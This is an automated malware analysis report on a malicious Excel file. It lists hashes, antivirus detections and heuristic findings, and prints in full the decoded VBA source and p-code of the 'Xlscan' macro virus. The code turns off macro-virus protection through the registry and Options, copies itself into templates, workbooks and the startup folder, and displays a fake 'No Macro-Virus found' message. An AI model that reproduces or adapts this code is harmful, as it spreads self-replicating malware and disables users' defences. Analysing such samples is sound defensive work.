Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82780defb94aa136…

MALICIOUS

Office (OLE)

27.5 KB Created: 2025-08-09 21:41:14 Authoring application: Microsoft Excel First seen: 2015-10-04
MD5: dad548b63ce0c78ece2fa8ef1d313340 SHA-1: 10cc396db3592862ac0e19dc3d963592af8f2298 SHA-256: 82780defb94aa136dfe1ea5d15fdb8eb4c62bd0afd9e43e62c940308d3a16b8d
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This Excel file contains VBA macros that are designed to disable macro security and potentially tamper with antivirus protections, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The presence of 'AutoOpen' and 'Auto_Open' macros suggests an attempt to execute malicious code upon opening the document. The ClamAV detections for 'Xls.Trojan.Xlscan-3' and the extracted artifact 'Win.Trojan.C-286' further confirm its malicious nature.

Heuristics 6

  • ClamAV: Xls.Trojan.Xlscan-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Xlscan-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16768 bytes
SHA-256: 988efedd6779200e7ec24ca6a3bcf24647529a418b0d3ff75ea2ad3bc59827e5
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Xlscan"






















Declare Function GetPrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Attribute GetPrivateProfileStringA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function WritePrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpValue As String, ByVal lpFileName As String) As Long
Attribute WritePrivateProfileStringA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Attribute RegOpenKeyExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Attribute RegQueryValueExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Attribute RegSetValueExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Attribute RegCloseKey.VB_ProcData.VB_Invoke_Func = " \n14"
Global Const REG_DWORD As Long = 4
Global Const REG_SZ As Long = 1
Global Const HKEY_CURRENT_USER As Long = &H80000001
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Dim k As Long
Dim s As Long
Dim u As Long
Dim a As Long
Dim b As String

Sub Auto_Close()
Attribute Auto_Close.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo push_data
b = String(7, 0)
s = 256
v$ = String$(s, 0)
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayAlerts = wdAlertsNone
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\Microsoft Excel", 0, KEY_ALL_ACCESS, k)
u = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
u = RegCloseKey(k)
ShowVisualBasicEditor = False
Open "c:\Windows\System\Xlscan.386" For Input As 1
Close 1
GoTo god

push_data:
Application.VBE.ActiveVBProject.VBComponents("Xlscan").Export "c:\Windows\System\Xlscan.386"

god:
On Error GoTo god_1
If ActiveDocument = "" Then GoTo god_3
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Xlscan" Then r = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Xlscan" Then e = True
Next i
If e = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
If r = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
End If
GoTo god_1

god_3:
If Dir(Application.StartupPath + "\Xlscan.xls") = "Xlscan.xls" Then p = True
For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(i).Name = "Xlscan" Then t = True
Next i
If t = False Then
With ActiveWorkbook.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
End If
If p = False Then
Workbooks.Add.SaveAs FileName:=Application.StartupPath + "\Xlscan.xls"
With ActiveWorkbook.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
ActiveWindow.Visible = False
Workbooks("Xlscan.xls").Save
MsgBox "No Macro-Virus found" + Chr$(13), , "Xlscan ver.1.2a"
c = WritePrivateProfileStringA("Booting_index", "Windows_system", ".False.", "c:\Windows\System\Xlscan.idx")
End If
a = GetPrivateProfileStringA("Booting_index", "Windows_system", "", b, 255, "c:\Windows\System\Xlscan.idx")
If b = ".False." Then GoTo god_1

god_1:
Application.ScreenUpdating = True
  end_ = Month(Now())
  For save_file = 1 To end_
    Application.VBE.ActiveVBProject.VBComponents("Xlscan").Export "c:\Windows\System\" + Str((Month(Now()))) + Str((Day(Now()))) + Str((Hour(Now()))) + Str((Minute(Now()))) + Str((Second(Now()))) + Str(save_file) + ".inf"
  Next save_file

toend:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = " \n14"
 ShowVisualBasicEditor = False
End Sub
Sub AutoExit()
Attribute AutoExit.VB_ProcData.VB_Invoke_Func = " \n14"
Call Auto_Close
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = " \n14"
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = " \n14"
End Sub
Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "Xlscan.Auto_Close"
End Sub

' Processing file: /opt/analyzer/scan_staging/ee37b48678bb4025b9e3132b3a59ed40.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 965 bytes
' _VBA_PROJECT_CUR/VBA/Sheet1 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Xlscan - 8944 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' 	FuncDefn (Declare Function GetPrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long)
' Line #23:
' 	FuncDefn (Declare Function WritePrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpValue As String, ByVal lpFileName As String) As Long)
' Line #24:
' 	FuncDefn (Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long)
' Line #25:
' 	FuncDefn (Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long)
' Line #26:
' 	FuncDefn (Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long)
' Line #27:
' 	FuncDefn (Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long)
' Line #28:
' 	Dim (Global Const) 
' 	LitDI2 0x0004 
' 	VarDefn REG_DWORD (As Long)
' Line #29:
' 	Dim (Global Const) 
' 	LitDI2 0x0001 
' 	VarDefn REG_SZ (As Long)
' Line #30:
' 	Dim (Global Const) 
' 	LitHI4 0x0001 0x8000 
' 	VarDefn HKEY_CURRENT_USER (As Long)
' Line #31:
' 	Dim (Global Const) 
' 	LitHI4 0x0002 0x8000 
' 	VarDefn HKEY_LOCAL_MACHINE (As Long)
' Line #32:
' 	Dim 
' 	VarDefn k (As Long)
' Line #33:
' 	Dim 
' 	VarDefn s (As Long)
' Line #34:
' 	Dim 
' 	VarDefn u (As Long)
' Line #35:
' 	Dim 
' 	VarDefn a (As Long)
' Line #36:
' 	Dim 
' 	VarDefn B (As String)
' Line #37:
' Line #38:
' 	FuncDefn (Sub Auto_Close())
' Line #39:
' 	OnError push_data 
' Line #40:
' 	LitDI2 0x0007 
' 	LitDI2 0x0000 
' 	ArgsLd String$ 0x0002 
' 	St B 
' Line #41:
' 	LitDI2 0x0100 
' 	St s 
' Line #42:
' 	Ld s 
' 	LitDI2 0x0000 
' 	ArgsLd String$$ 0x0002 
' 	St v$ 
' Line #43:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #44:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #45:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #46:
' 	Ld HKEY_CURRENT_USER 
' 	LitStr 0x0033 "Software\Microsoft\Office\8.0\Excel\Microsoft Excel"
' 	LitDI2 0x0000 
' 	Ld KEY_ALL_ACCESS 
' 	Ld k 
' 	ArgsLd RegOpenKeyExA 0x0005 
' 	St u 
' Line #47:
' 	Ld k 
' 	LitStr 0x0008 "Options6"
' 	LitDI2 0x0000 
' 	Ld REG_DWORD 
' 	LitDI2 0x0000 
' 	ArgsLd Chr$ 0x0001 
' 	LitDI2 0x0004 
' 	ArgsLd RegSetValueExA 0x0006 
' 	St u 
' Line #48:
' 	Ld k 
' 	ArgsLd RegCloseKey 0x0001 
' 	St u 
' Line #49:
' 	LitVarSpecial (False)
' 	St ShowVisualBasicEditor 
' Line #50:
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	LitDI2 0x0001 
' 	LitDefault 
' 	Open (For Input)
' Line #51:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #52:
' 	GoTo god 
' Line #53:
' Line #54:
' 	Label push_data 
' Line #55:
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	LitStr 0x0006 "Xlscan"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #56:
' Line #57:
' 	Label god 
' Line #58:
' 	OnError god_1 
' Line #59:
' 	Ld ActiveDocument 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo god_3 
' 	EndIf 
' Line #60:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #61:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #62:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #63:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #64:
' 	EndWith 
' Line #65:
' 	LitVarSpecial (False)
' 	Ld ActiveDocument 
' 	MemSt ReadOnlyRecommended 
' Line #66:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #67:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Xlscan"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St r 
' 	EndIf 
' Line #68:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #70:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Xlscan"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St e 
' 	EndIf 
' Line #71:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #72:
' 	Ld e 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #73:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	With 
' Line #74:
' 	StartWithExpr 
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	MemLdWith VBComponents 
' 	ArgsMemLd Import 0x0001 
' 	With 
' Line #75:
' 	EndWith 
' Line #76:
' 	EndWith 
' Line #77:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #78:
' 	EndIfBlock 
' Line #79:
' 	Ld r 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #80:
' 	StartWithExpr 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	With 
' Line #81:
' 	StartWithExpr 
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	MemLdWith VBComponents 
' 	ArgsMemLd Import 0x0001 
' 	With 
' Line #82:
' 	EndWith 
' Line #83:
' 	EndWith 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	GoTo god_1 
' Line #86:
' Line #87:
' 	Label god_3 
' Line #88:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000B "\Xlscan.xls"
' 	Add 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x000A "Xlscan.xls"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St p 
' 	EndIf 
' Line #89:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveWorkbook 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #90:
' 	Ld i 
' 	Ld ActiveWorkbook 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Xlscan"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St t 
' 	EndIf 
' Line #91:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #92:
' 	Ld t 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #93:
' 	StartWithExpr 
' 	Ld ActiveWorkbook 
' 	MemLd VBProject 
' 	With 
' Line #94:
' 	StartWithExpr 
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	MemLdWith VBComponents 
' 	ArgsMemLd Import 0x0001 
' 	With 
' Line #95:
' 	EndWith 
' Line #96:
' 	EndWith 
' Line #97:
' 	EndIfBlock 
' Line #98:
' 	Ld p 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #99:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000B "\Xlscan.xls"
' 	Add 
' 	ParamNamed FileName 
' 	Ld Workbooks 
' 	MemLd Add 
' 	ArgsMemCall SaveAs 0x0001 
' Line #100:
' 	StartWithExpr 
' 	Ld ActiveWorkbook 
' 	MemLd VBProject 
' 	With 
' Line #101:
' 	StartWithExpr 
' 	LitStr 0x001C "c:\Windows\System\Xlscan.386"
' 	MemLdWith VBComponents 
' 	ArgsMemLd Import 0x0001 
' 	With 
' Line #102:
' 	EndWith 
' Line #103:
' 	EndWith 
' Line #104:
' 	LitVarSpecial (False)
' 	Ld ActiveWindow 
' 	MemSt Visible 
' Line #105:
' 	LitStr 0x000A "Xlscan.xls"
' 	ArgsLd Workbooks 0x0001 
' 	ArgsMemCall Save 0x0000 
' Line #106:
' 	LitStr 0x0014 "No Macro-Virus found"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Add 
' 	ParamOmitted 
' 	LitStr 0x000F "Xlscan ver.1.2a"
' 	ArgsCall MsgBox 0x0003 
' Line #107:
' 	LitStr 0x000D "Booting_index"
' 	LitStr 0x000E "Windows_system"
' 	LitStr 0x0007 ".False."
' 	LitStr 0x001C "c:\Windows\System\Xlscan.idx"
' 	ArgsLd WritePrivateProfileStringA 0x0004 
' 	St c 
' Line #108:
' 	EndIfBlock 
' Line #109:
' 	LitStr 0x000D "Booting_index"
' 	LitStr 0x000E "Windows_system"
' 	LitStr 0x0000 ""
' 	Ld B 
' 	LitDI2 0x00FF 
' 	LitStr 0x001C "c:\Windows\System\Xlscan.idx"
' 	ArgsLd GetPrivateProfileStringA 0x0006 
' 	St a 
' Line #110:
' 	Ld B 
' 	LitStr 0x0007 ".False."
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo god_1 
' 	EndIf 
' Line #111:
' Line #112:
' 	Label god_1 
' Line #113:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #114:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	St end_ 
' Line #115:
' 	StartForVariable 
' 	Ld save_file 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld end_ 
' 	For 
' Line #116:
' 	LitStr 0x0012 "c:\Windows\System\"
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	Paren 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	Paren 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Hour 0x0001 
' 	Paren 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Minute 0x0001 
' 	Paren 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Second 0x0001 
' 	Paren 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	Ld save_file 
' 	ArgsLd Str 0x0001 
' 	Add 
' 	LitStr 0x0004 ".inf"
' 	Add 
' 	LitStr 0x0006 "Xlscan"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #117:
' 	StartForVariable 
' 	Ld save_file 
' 	EndForVariable 
' 	NextVar 
' Line #118:
' Line #119:
' 	Label toend 
' Line #120:
' 	EndSub 
' Line #121:
' 	FuncDefn (Sub AutoOpen())
' Line #122:
' 	LitVarSpecial (False)
' 	St ShowVisualBasicEditor 
' Line #123:
' 	EndSub 
' Line #124:
' 	FuncDefn (Sub AutoExit())
' Line #125:
' 	ArgsCall (Call) Auto_Close 0x0000 
' Line #126:
' 	EndSub 
' Line #127:
' 	FuncDefn (Sub ToolsMacro())
' Line #128:
' 	EndSub 
' Line #129:
' 	FuncDefn (Sub FileTemplates())
' Line #130:
' 	EndSub 
' Line #131:
' 	FuncDefn (Sub Auto_Open())
' Line #132:
' 	LitStr 0x0011 "Xlscan.Auto_Close"
' 	Ld Application 
' 	MemSt OnSheetActivate 
' Line #133:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.